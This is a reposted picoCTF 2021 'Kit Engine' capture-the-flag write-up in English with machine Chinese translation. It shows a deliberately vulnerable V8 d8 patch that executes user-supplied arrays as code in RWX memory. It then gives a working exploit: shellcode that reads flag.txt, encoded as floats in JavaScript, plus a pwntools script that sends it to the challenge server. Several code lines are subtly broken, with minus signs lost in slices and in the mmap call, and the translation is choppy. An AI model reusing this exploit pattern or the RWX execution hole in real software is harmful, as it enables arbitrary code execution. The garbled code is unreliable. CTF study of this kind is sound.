picoCTF 2021 – Kit Engine

Analysis 分析
We are given d8, source.tar.gz and server.py. Let’s look at server.py first:
我们被赋予 d8 了 , source.tar.gzserver.py . 我们先来看 server.py 一下:
#!/usr/bin/env python3
# With credit/inspiration to the v8 problem in downUnder CTF 2020
import os
import subprocess
import sys
import tempfile
def p(a):
print(a, flush=True)
MAX_SIZE = 20000
input_size = int(input(“Provide size. Must be < 5k:”))
if input_size >= MAX_SIZE:
p(f”Received size of {input_size}, which is too big”)
sys.exit(1)
p(f”Provide script please!!”)
script_contents = sys.stdin.read(input_size)
p(script_contents)
# Don’t buffer
with tempfile.NamedTemporaryFile(buffering=0) as f:
f.write(script_contents.encode(“utf-8”))
p(“File written. Running. Timeout is 20s”)
res = subprocess.run([“./d8”, f.name], timeout=20, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p(“Run Complete”)
p(f”Stdout {res.stdout})
p(f”Stderr {res.stderr})
It’s very simple – you input the size of the file, and then you input the file itself. The file contents get written to a javascript file, then run under ./d8 with the output returned. Let’s check the source code.
这很简单 – 您输入文件的大小,然后输入文件本身。文件内容被写入 javascript 文件,然后在 下运行, ./d8 并返回输出。让我们检查一下源代码。
$ 7z x source.tar.gz
$ tar -xvf source.tar
The patch is as follows:
具体如下 patch
diff –git a/src/d8/d8.cc b/src/d8/d8.cc
index e6fb20d152..35195b9261 100644
— a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -979,6 +979,53 @@ struct ModuleResolutionData {
} // namespace
+uint64_t doubleToUint64_t(double d){
+ union {
+ double d;
+ uint64_t u;
+ } conv = { .d = d };
+ return conv.u;
+}
+
+void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) {
+ __asm__(“int3”);
+}
+
+void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
+ Isolate* isolate = args.GetIsolate();
+ if(args.Length() != 1) {
+ return;
+ }
+
+ double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ if (func == (double *)-1) {
+ printf(“Unable to allocate memory. Contact admin\n”);
+ return;
+ }
+
+ if (args[0]->IsArray()) {
+ Local<Array> arr = args[0].As<Array>();
+
+ Local<Value> element;
+ for (uint32_t i = 0; i < arr->Length(); i++) {
+ if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
+ Local<Number> val = element.As<Number>();
+ func[i] = val->Value();
+ }
+ }
+
+ printf(“Memory Dump. Watch your endianness!!:\n”);
+ for (uint32_t i = 0; i < arr->Length(); i++) {
+ printf(“%d: float %f hex %lx\n”, i, func[i], doubleToUint64_t(func[i]));
+ }
+
+ printf(“Starting your engine!!\n”);
+ void (*foo)() = (void(*)())func;
+ foo();
+ }
+ printf(“Done\n”);
+}
+
void Shell::ModuleResolutionSuccessCallback(
const FunctionCallbackInfo<Value>& info) {
std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2201,40 +2248,15 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
– global_template->Set(Symbol::GetToStringTag(isolate),
– String::NewFromUtf8Literal(isolate, “global”));
+ // Add challenge builtin, and remove some unintented solutions
+ global_template->Set(isolate, “AssembleEngine”, FunctionTemplate::New(isolate, AssembleEngine));
+ global_template->Set(isolate, “Breakpoint”, FunctionTemplate::New(isolate, Breakpoint));
global_template->Set(isolate, “version”,
FunctionTemplate::New(isolate, Version));
global_template->Set(isolate, “print”, FunctionTemplate::New(isolate, Print));
– global_template->Set(isolate, “printErr”,
– FunctionTemplate::New(isolate, PrintErr));
– global_template->Set(isolate, “write”, FunctionTemplate::New(isolate, Write));
– global_template->Set(isolate, “read”, FunctionTemplate::New(isolate, Read));
– global_template->Set(isolate, “readbuffer”,
– FunctionTemplate::New(isolate, ReadBuffer));
– global_template->Set(isolate, “readline”,
– FunctionTemplate::New(isolate, ReadLine));
– global_template->Set(isolate, “load”, FunctionTemplate::New(isolate, Load));
– global_template->Set(isolate, “setTimeout”,
– FunctionTemplate::New(isolate, SetTimeout));
– // Some Emscripten-generated code tries to call ‘quit’, which in turn would
– // call C’s exit(). This would lead to memory leaks, because there is no way
– // we can terminate cleanly then, so we need a way to hide ‘quit’.
if (!options.omit_quit) {
global_template->Set(isolate, “quit”, FunctionTemplate::New(isolate, Quit));
}
– global_template->Set(isolate, “testRunner”,
– Shell::CreateTestRunnerTemplate(isolate));
– global_template->Set(isolate, “Realm”, Shell::CreateRealmTemplate(isolate));
– global_template->Set(isolate, “performance”,
– Shell::CreatePerformanceTemplate(isolate));
– global_template->Set(isolate, “Worker”, Shell::CreateWorkerTemplate(isolate));
– // Prevent fuzzers from creating side effects.
– if (!i::FLAG_fuzzing) {
– global_template->Set(isolate, “os”, Shell::CreateOSTemplate(isolate));
– }
– global_template->Set(isolate, “d8”, Shell::CreateD8Template(isolate));
#ifdef V8_FUZZILLI
global_template->Set(
@@ -2243,11 +2265,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
#endif // V8_FUZZILLI
– if (i::FLAG_expose_async_hooks) {
– global_template->Set(isolate, “async_hooks”,
– Shell::CreateAsyncHookTemplate(isolate));
– }
return global_template;
}
@@ -2449,10 +2466,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
v8::Isolate::kMessageLog);
}
– isolate->SetHostImportModuleDynamicallyCallback(
+ /*isolate->SetHostImportModuleDynamicallyCallback(
Shell::HostImportModuleDynamically);
isolate->SetHostInitializeImportMetaObjectCallback(
– Shell::HostInitializeImportMetaObject);
+ Shell::HostInitializeImportMetaObject);*/
#ifdef V8_FUZZILLI
// Let the parent process (Fuzzilli) know we are ready.
diff –git a/src/d8/d8.h b/src/d8/d8.h
index a6a1037cff..4591d27f65 100644
— a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -413,6 +413,9 @@ class Shell : public i::AllStatic {
kNoProcessMessageQueue = false
};
+ static void AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args);
+ static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args);
+
static bool ExecuteString(Isolate* isolate, Local<String> source,
Local<Value> name, PrintResult print_result,
ReportExceptions report_exceptions,
This just just generally quite strange. The only particularly relevant part is the new AssembleEngine() function:
这通常很奇怪。唯一特别相关的部分是新功能 AssembleEngine()
void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
Isolate* isolate = args.GetIsolate();
if(args.Length() != 1) {
return;
}
double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 1, 0);
if (func == (double *)1) {
printf(“Unable to allocate memory. Contact admin\n”);
return;
}
if (args[0]->IsArray()) {
Local<Array> arr = args[0].As<Array>();
Local<Value> element;
for (uint32_t i = 0; i < arr->Length(); i++) {
if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
Local<Number> val = element.As<Number>();
func[i] = val->Value();
}
}
printf(“Memory Dump. Watch your endianness!!:\n”);
for (uint32_t i = 0; i < arr->Length(); i++) {
printf(“%d: float %f hex %lx\n”, i, func[i], doubleToUint64_t(func[i]));
}
printf(“Starting your engine!!\n”);
void (*foo)() = (void(*)())func;
foo();
}
printf(“Done\n”);
}
This is a pretty strange function to have, but the process is simple. FIrst there are a couple of checks, and if they are not passed, they fail:
这是一个非常奇怪的功能,但过程很简单。首先有几个检查,如果它们没有通过,它们就会失败:
  • Check if the number of arguments is 1
    检查参数 1 数是否
  • Assign 4096 bytes of memory with RWX permissions
    分配具有 RWX 权限的 4096 字节内存
Then, if the first argument is an array, we cast it to one and store it in arr. We then loop through arr, and for every index i, we store the result in the local variable element. If it’s a number, it gets written to func at a set offset. Essentially, it copies the entirety of arr to func! With some added checks to make sure the types are correct.
然后,如果第一个参数是一个数组,我们将其转换为一个并将其存储在 arr .然后我们遍历, arr 对于每个索引 i ,我们将结果存储在局部变量 element 中。如果它是一个数字,则以设定的偏移量写入 func 。从本质上讲,它复制了整个 arr to func !添加一些检查以确保类型正确。
There is then a memory dump of func, just to simplify things.
然后有一个内存转储 func ,只是为了简化事情。
And then finally execution is continued from func, like a classic shellcoding challenge!
然后最后继续 func 执行,就像一个经典的 shellcoding 挑战!
Exploitation 开发
This isn’t really much of a V8-specific challenge – the data we are input is run as shellcode, and the output is returned to us.
这并不是 V8 特有的挑战——我们输入的数据作为 shellcode 运行,输出返回给我们。
HOWEVER 然而
val->Value() actually returns a floating-point value (a double), not an integer. Maybe you could get this from the source code, but you could also get it from the mmap() line:
val->Value() 实际上返回一个浮点值 (a double ),而不是一个整数。也许你可以从源代码中得到它,但你也可以从以下 mmap() 行中得到它:
double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 1, 0);
You can see it’s all double values. This means we have to inject shellcode, but in their floating-point form rather than as integers.
你可以看到它都是 double 值。这意味着我们必须注入 shellcode,但要以浮点形式而不是整数形式。
If you’ve read the oob-v8 writeup, you know there are common functions for converting the integers you want to be written to memory to the floating-point form that would write them (and if you haven’t, check it out).
如果您已经阅读了 oob-v8 文章,您就会知道有一些常用函数可以将要写入内存的整数转换为可以写入它们的浮点形式(如果您还没有,请查看)。
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
So now we just need to get valid shellcode, convert it into 64-bit integers and find the float equivalent. Once we make the array, we simply call AssembleEngine() on it and it executes it for us. Easy peasy!
所以现在我们只需要获取有效的 shellcode,将其转换为 64 位整数并找到浮点数等价物。一旦我们创建了数组,我们只需调用 AssembleEngine() 它,它就会为我们执行它。简单易行!
We can’t actually interact with the process, only get stdout and stderr, so we’ll have to go to a direct read of flag.txt. We can use pwntools to generate the shellcode for this:
我们实际上无法与进程交互,只能获取 stdoutstderr ,因此我们必须直接读取 flag.txt 。我们可以使用 pwntools 为此生成 shellcode:
from pwn import *
context.os = ‘linux’
context.arch = ‘amd64’
shellcode = asm(shellcraft.cat(‘flag.txt’))
We want to convert shellcode to bytes, then to 64-bit integers so we can transform them to floats. Additionally, the 64-bit integers have to have the bytes in reverse order for endiannes! We’ll let python do all of that for us:
我们想先转换为 shellcode 字节,然后转换为 64 位整数,这样我们就可以将它们转换为浮点数。此外,64 位整数必须具有字节序的相反顺序!我们将让 python 为我们完成所有这些工作:
from pwn import *
# set all the context
context.os = ‘linux’
context.arch = ‘amd64’
# create the shellcode
shellcode = asm(shellcraft.cat(‘flag.txt’))
print(shellcode)
# pad it to a multiple of 8 with NOP instructions
# this means the converstion to 8-byte values is smoother
shellcode += b’\x90′ * 4
# get the hex codes for every byte and store them as a string in the list
shellcode = [hex(c)[2:].rjust(2, ‘0’) for c in shellcode]
# get the shellcode bytes in packs of 8, in reverse order for endianness, with 0x at the front
eight_bytes = [‘0x’ + .join(shellcode[i:i+8][::1]) for i in range(0, len(shellcode), 8)]
print(eight_bytes)
We can dump this (after minor cleanup) into exploit.js and convert the entire list to floats before calling AssembleEngine(). Make sure you put the n after every 64-bit value, to signify to the javascript that it’s a BigInt type!
我们可以将其(经过少量清理)转储到 exploit.js 中,并在调用 AssembleEngine() 之前将整个列表转换为浮点数。确保将 64 位值 n 放在 after 之后,以向 javascript 表示它是一种 BigInt 类型!
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// needs to have the `n` to be a BigInt value!
payload = [0x66b848240cfe016an, 0x507478742e67616cn, 0xf631e7894858026an, 0x7fffffffba41050fn, 0x016a58286ac68948n, 0x90909090050f995fn]
payload_float = []
for (let i = 0; i < payload.length; i++) {
payload_float.push(itof(payload[i]))
}
AssembleEngine(payload_float)
And finally we can deliver it with a python script using pwntools, and parse the input to get the important bit:
最后,我们可以使用 pwntools python 脚本来交付它,并解析输入以获取重要部分:
from pwn import *
with open(“exploit.js”, “rb”) as f:
exploit = f.read()
p = remote(‘mercury.picoctf.net’, 48700)
p.sendlineafter(b’5k:’, str(len(exploit)).encode())
p.sendlineafter(b’please!!\n’, exploit)
p.recvuntil(b”Stdout b'”)
flag = p.recvuntil(b”\\”)[:1]
print(flag.decode())
And we get the flag:
我们得到了旗帜:
picoCTF{vr00m_vr00m_48f07b402a4020e0}

原文始发于ir0nstonepicoCTF 2021 – Kit Engine

版权声明:admin 发表于 2023年12月26日 下午11:01。
转载请注明:picoCTF 2021 – Kit Engine | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...